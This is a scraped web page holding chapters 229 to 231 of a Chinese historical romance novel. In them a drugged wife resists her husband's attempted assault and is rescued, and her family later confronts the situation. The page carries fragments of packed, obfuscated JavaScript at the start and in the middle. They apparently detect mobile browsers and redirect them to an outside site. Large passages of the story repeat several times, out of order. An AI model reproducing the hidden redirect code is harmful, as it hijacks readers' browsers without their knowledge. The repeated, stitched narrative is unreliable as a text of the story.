0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946290|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 名声呢。 云氏的眼皮一直跳个不停,一边让婆子帮自己按摩脑袋,一边派人去打探消息。 这边萧清禾刚走出主院,就感觉身体莫名的燥热起来。 她不想跟卫凌泽待太久,加快速度朝凌枫院走去。 已经是初冬的天,这几日夜里萧清禾都觉得有些寒凉,今天走这一路却出了一身的汗,人也觉得口干舌燥。 她很想快点回去喝水,再洗个澡凉快一下,手腕突然被扣住,整个人被拽入卫凌泽怀中。 卫凌泽的掌心滚烫,喘息声很大,喷出来的呼吸也是灼热无比的,眼神更是幽暗可怖。 他不对劲! 萧清禾立刻意识到危险,她扭头想叫雀枝,却发现跟在后面的雀枝和婆子早就不见了踪影。 萧清禾有点慌,卫凌泽却紧紧环住她的腰肢,半搂半抱地带着她继续向前走去。 “我自己能走,你放开我。” 萧清禾开口,声音比平时细软,想要挣扎,身子竟然也虚浮无力,一种陌生的、让她害怕的欲念爬遍了身体,竟让她有些希望被触碰。 萧清禾浑身一震,难以置信地瞪着卫凌泽:“你给我下药?” 萧清禾本来不知道这些的,但那日在公主府喝酒,恒阳公主一时兴起,说起了无忧阁的事,她才知道这世上还有那样的药。 但无忧阁是用来给客人助兴的,如今她却是身不由己。 卫凌泽其实一出主院就发觉了不对劲,他没想到云氏为了子嗣竟然会做出这种事,而且不止他,连萧清禾也被算计在其中。 当婆母的插手小两口的房事实在不是什么光彩的事,卫凌泽没有承认,只哑声道:“我们夫妻已经很久没有同房过了,夫人有需求也很正常,别把自己说得跟贞洁烈女似的,我睡你是天经地义的事,哪里需要用这种下作手段?” 卫凌泽理直气壮,说出来的话也有些道理,但身体的异样做不得假,萧清禾并未被糊弄过去,她严肃地说:“我对你没有那种想法,你放开我。” 卫凌泽不放,并且调转方向快步朝自己的书房走去。 上一次被强迫的回忆浮现出来,萧清禾既愤怒又害怕,她不想再重演一次,像个玩物一样被肆意摆弄,拔下头上的发钗用力朝卫凌泽扎去。 然而卫凌泽早有防备,只轻轻抬手,就把发钗拂落在地。 力量悬殊太大,且身体的异样在不断加剧,萧清禾感觉自己马上就要坠入深渊万劫不复,她咬破自己的舌尖保持清醒,一字一句道:“卫凌泽,你若敢如此对我,我会死在你面前。” 萧清禾的声音不大,因为药效,也带了喘息,没什么威慑力,反而有些媚惑,但每一个字,都带了视死如归的决绝。 卫凌泽步子一顿,低头看她:“你我是夫妻,跟我做这种事你竟然要寻死?” “我不愿意,你这么做和畜生无异!” 萧清禾的抵抗激怒了卫凌泽,他想起沈清渊脖子上的牙印,想起轩辕朗的挑衅,无数暗黑情绪涌上来,他冷声笑道:“呵,反正我已经做过一回畜生了,再做一回又能如何呢?” 说着话,书房已近在眼前,卫凌泽甚至不等进屋,就撕开萧清禾的衣襟。 萧清禾绝望地闭上眼,正想咬舌自尽,一道寒光忽地闪现,一个身量颀长的黑衣人从天而降。 黑衣人蒙着面,看不清面容,但卫凌泽还是瞬间认出眼前的人就是前几次与他交手的无忧阁阁主。 一个卖弄男色的东西,竟敢夜闯卫家插手他的事,真是找死! 卫凌泽的怒火达到巅峰,冷声怒道:“来人,抓刺客!” 一声令下,卫家的护院立刻从四面八方赶来。 萧夜辰却丝毫不受影响,果断地提剑刺向卫凌泽。 第230章 我的确爱慕大小姐已久 卫凌泽如今的身手本就不及萧夜辰,加上体内药效发作,很快落在下风,被萧夜辰一脚踹开,抢走萧清禾。 重伤卫家的几个护院后,萧夜辰抱着萧清禾跃上墙头,消失在茫茫的夜色中。 云氏第一时间得了消息赶来。 见卫凌泽浑身是汗,已经撑到极限,连忙让人把他扶回屋里给他喂下解药。 这药很是霸道,即便服下解药一时半会儿也无法完全解除药效。 云氏又让人送来冷水让卫凌泽泡着,她又心疼又愤怒:“府里的护院都是干什么吃的,怎么会让刺客进来,还掳走了禾儿? 若是平时还好,今晚禾儿可是被下了药的,万一跟刺客发生点儿什么,卫家的颜面要往哪儿搁?他们又该怎么向萧家交代? 关键这个时候若是大张旗鼓地找人,明天这件事就会宣扬得人人皆知。 这可如何是好? 饶是云氏见过不少大风大浪,这个时候也有些不知所措。 冷水的刺激让卫凌泽恢复了些理智,他哑着声对云氏说:“那个刺客可能就是萧家的人,娘让人不要声张,先静观其变再说。 云氏眼皮一跳,急急追问:“什么叫那个刺客是萧家的人?难道萧家不相信我们,一直在派人监视我们? 云氏既生气又心虚。 如果刺客是萧家的人,那禾儿的清白是保住了,但萧家也会知道她给禾儿下药的事,禾儿这些日子在卫家受的委屈就瞒不住了。 卫凌泽这会儿分不出精力跟云氏过多解释,只沉沉道:“我只是说有这种可能,娘还是先管好府里那些下人的嘴吧。 卫凌泽说完合上眼睛,不再多言。 云氏知道自己好心办了错事,也不敢再多说,转身出去**息。 与此同时。 萧夜辰抱着萧清禾大步走进萧家。 负责值守的下人看到萧夜辰身上染血,面色冷煞像是要**,便知事情不妙,连忙跑去主院通知。 萧夜辰不方便进后院,只能先把萧清禾抱到自己的房间。 萧清禾早已抵抗不住药效失去神智,她不安分地扭动身子发出痛苦的呻吟,像是溺水的人拼了命的想要缠住萧夜辰。 但她眼角不断落下泪来,并不是自愿做这些事的。 萧夜辰把她放到床上,从怀里摸出一个药丸给她喂下,这才发现她不知什么时候咬破了唇。 “卫凌泽……你真的……让我恶心! 萧清禾艰难地说完这句话便要 咬舌,萧夜辰连忙把自己的手塞进她嘴里。 萧清禾用了全力,萧夜辰的手掌被咬破,殷红的血珠从萧清禾唇角溢出,萧夜辰却毫无所觉,一动没动,只是眸底杀意澎湃。 若不是为了带大小姐走,他真的会杀了卫凌泽。 萧夫人和萧父刚刚睡下,听到下人禀报立刻穿上衣服赶来,一进门,看到的就是这样一幕。 萧夫人眼皮一跳,第一时间让人**息,萧父快步走到两人面前,沉沉开口:“辰儿,这是怎么回事?” 萧夜辰冷冷开口:“大小姐中了药,我刚给她喂下解药,等药效解除,我再向老爷和夫人请罪。” 萧夫人快步走到床边,见萧清禾脸色通红,浑身滚烫,整个人像是刚从水里捞出来的,顿时红了眼,她急急追问:“到底是什么人,竟然给禾儿下如此歹毒的药?” 萧夜辰垂眸掩下眸底的杀意,沉沉道:“我不知道是谁下的药,我到时卫凌泽正要趁机强迫大小姐,我不忍见大小姐受辱,就打伤卫家的护院,把大小姐带回家了。” 短短的一番话,蕴藏的信息却极多,萧夫人一时竟不敢再问下去。 约莫过了一炷香的时间,萧清禾终于松开口昏睡过去,萧夜辰收回手站起身说:“这药很是霸道,大小姐后半夜可能还会发烧,需要有人守着帮她降烧才行。” 萧夫人立刻带着萧清禾回了她出嫁前住的院子。 等她们一走,萧夜辰立刻跪在萧父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951767|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前:“今夜是我越矩,冒犯了大小姐,要杀要剐,都听凭老爷处置!” 萧夜辰低着头,没敢看萧父的眼睛,垂在身侧的手仍在滴血。 萧清禾的衣服被撕破了,方才身上穿的是萧夜辰的外裳。 深更半夜,萧夜辰出现在卫家,还伤了卫家的人,把萧清禾带回萧家,就算两人之间什么都没有发生,但谁都看得出来萧夜辰存的是什么心思。 一旦宣扬出去,萧清禾的名声就毁了。 萧父无比严肃地审视着萧夜辰,半晌开口:“你是今晚才出现在卫家的,还是夜夜都去卫家窥视?” “请老爷明察,我断不敢窥视大小姐的生活,是大小姐前不久曾让我调查卫凌泽的一些事,刚好查到一些眉目,我怕大小姐会受伤,想去卫家提醒大小姐多加防备,没想到会碰到这样的事。” 萧夜辰答得很快,背脊挺直,语气坚定。 萧父的脸色没有任何缓和,继续道:“你对禾儿,居心不良?” 虽是疑问,萧父的语气却很笃定。 萧夜辰握紧拳头,呼吸重了两分,却还是如实回答:“是,我暗自爱慕大小姐已久,但我自知身份悬殊,不敢奢想其他,从未私下接近大小姐,更不敢在大小姐面前表露分毫,今夜之事若会损害大小姐的声誉,我现在就可自行了断。” 萧夜辰说着拿出一把**便要抹脖子,被萧父叫住:“等等。” 虽然萧父出声很快,但萧夜辰的脖子还是被划出了一道细小的口子,足见他刚刚并非做戏,而是真的可以为了萧清禾**。 萧父暗暗叹了口气,问:“你刚刚说禾儿让你查卫凌泽,你是通过什么方式查的,都查到了些什么?” 萧夜辰没有放下**,把自己最近查到的全都说了出来,最后他说:“我如今在帮太子殿下经营无忧阁,阁中之人,皆是太子殿下的眼线,因此卫凌泽的事查起来并不难。” 萧父:“……” 无忧阁背后的靠山竟然是太子殿下? 第231章 卫凌泽来了 萧清禾做了一个绵长的梦。 梦里卫凌泽受伤后,她不顾家里反对,毅然决然嫁给了他,亲自在他身边悉心照顾。 他们之间没有裂痕,也没有其他人,但婚后他们过得还是很不好。 瘫痪在床让卫凌泽变得暴躁易怒,后来腿好以后,他并未感念她的三年照顾,反而经常以此为借口讽刺她**,自己上赶着给他端屎端尿,没有一点世家贵女的矜贵。 梦里卫凌泽对她没有半点尊重,反而把她当成玩物一样对待,梦境的最后甚至压着她非要对她用强。 “不要!” 萧清禾拼命挣扎,猛然从梦里惊醒。 她尚未反应过来,整个人就被萧夫人抱住:“禾儿,别怕,娘在这儿呢,没事了,没人能伤害你的。” 萧夫人的声音满是哽咽,萧清禾昨晚后半夜一直在发烧,而且陷入梦靥,一直在哭,萧夫人从未见她如此伤心过,一颗心都被她哭碎了。 萧夫人的怀抱很温暖,而且有很好闻的安神香味道,萧清禾在片刻的怔愣后,紧紧抱住萧夫**哭起来。 萧夫人跟着泪流不止。 昨晚萧清禾高烧不退,萧夫人请了回春堂的大夫来诊治,这才知道萧清禾竟然小产过。 她的禾儿可是千娇万宠长大的,卫家怎么敢如此待她? 母女俩哭得停不下来,萧老夫人到时,看到的就是这样一幕。 昨晚太晚了,事情又没有弄清楚,萧夫人没敢惊动萧老夫人,直到今早才让人告诉萧老夫人萧清禾回家了。 萧老夫人没有急着出声,等母女俩哭够了,才开口问:“到底发生什么事了?” 不等萧清禾开口,萧夫人便急急道:“母亲,禾儿小产了,卫家简直欺人太甚!” 萧夫人眼眶通红,嗓子发哑,愤怒不已,恨不得现在就去卫家撕了卫凌泽。 萧老夫人也很震惊,但她没有急着动怒,只沉沉地看着萧清禾。 事情发展到这一步,也没什么好隐瞒的了,萧清禾把婚后这几个月发生的事全都说出来。 得知萧清禾是因为被卫凌泽强迫才小产的,萧夫人的眼泪又落下来,听到云氏为了让两人同房在饭菜里下药,萧夫人更是恨得撕碎了手里的帕子:“实在是太过分了,她心疼自己的儿子,就如此作践我的女儿,她当我萧家没人了吗?” 萧老夫人的脸色也不好看。 萧清禾是她看着长大的,这孩子性子温和,最是顾全大局,经历了小产这么大的事都没跟家里人说, 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 她正不知该如何解释,萧夫人便低声道:“是辰儿打伤卫家的护院把禾儿带回家的。” 虽说卫家欺负人在先,但萧夜辰毕竟和萧清禾没有血缘关系,他夜里出现在卫家,还打伤了卫家的护院,这事宣扬出去,难免会引来风言风语,对萧清禾和萧家都很不利。 萧老夫人却并不觉得有什么,她神情从容,看着萧清禾说:“你既回家了,就在家里好好休养一段时日,旁的事我和你母亲会出面处理,不必担心。” 言下之意,萧家会护着萧清禾,不会让她受任何委屈。 萧老夫人表了态,萧夫人心中大石顿时落地,她又忍不住落下泪来:“你这孩子受了委屈怎么就不早些回家来说呢,我和你祖母难道舍得眼睁睁地看着你受苦?” 萧清禾亦是动容,她低下头说:“我就是怕娘和祖母跟着担心难过,所以想靠自己的能力解决,只是我也没想到事情会变成这样。” 听到这话,萧夫人更心疼了,这时下人来报:“老夫人,姑爷来了、沈夫人也来了。” “他来得正好!” 萧夫人咬牙,擦掉眼泪就要去会一会卫凌泽,却被萧老夫人拦下:“不急,先让你夫君去应对,他是禾儿的亲爹,不会让禾儿白白受委屈的。” 萧老夫人说完,缓了语气吩咐下人:“让阿喜直接来这里。” “是。” ** 春喜还不知道卫家昨晚发生了大事,她只是来萧家给老夫人报平安的。 萧清月说她失踪这段时日萧家上下都在暗中找她,耗费了不少人力,这份情她不能白受。 春喜照旧做了一些糕点带上,刚下马车,却和卫凌泽碰了个正着。 卫凌泽是骑马来的。 今天阳光明媚,天色正好,卫凌泽的脸色却很不好看,一身气息更是冷煞,在看到她以后,卫凌泽的脸色就更差了。 像是被人逼着吞了苍蝇。 卫凌泽不高兴,春喜就高兴了。 她弯眸露出灿烂的笑,轻快道:“哟,侄婿最近不是忙着接待使臣团吗,怎么有闲心来岳家闲逛?” 春喜的笑果然刺痛了卫凌泽,他并不打算理会春喜,下了马径直进府。 春喜小跑着跟上:“咦?禾儿怎么没跟你一起?侄婿不会是做了什么丧良心的事,把禾儿气回娘家,所以来接禾儿回家吧?那侄婿怎么不像上次那样直接跪在门口负荆请罪,让所有人都知道你对不起禾儿?” 春喜小嘴叭叭不停,语气里满是幸灾乐祸。 卫凌泽猛然停下步子,扭头呵斥:“闭嘴!你再像个长舌妇一样胡言乱语我就拔了你的舌头!” 卫凌泽表情阴寒,眼神冷厉,是真的很想拔了春喜的舌头。 春喜并不害怕,反而扬了下眉,挑衅道:“侄婿别光说不做,有本事动手啊。” 春喜的语气和表情都欠扁极了,卫凌泽眯了眯眼,险些控制不住杀心,这时萧夜辰走了过来,他无视卫凌泽,直接对春喜说:“沈夫人放心,萧家不是旁人能撒野的地方,你在这里很安全。” 一看到萧夜辰,卫凌泽就握紧了拳头,春喜则有些意外。 卫凌泽和禾儿是真的出什么问题了吗,怎么萧家对他这个态度? 明显是为了两家颜面,想要维持表面的平和,然而卫家却不满足于此,还用那样的下作手段逼迫于她,确实是太欺负人了。 萧老夫人安慰了萧清禾两句,又问:“昨夜你是怎么回家的?” 萧清禾一怔,这才想起萧夜辰。 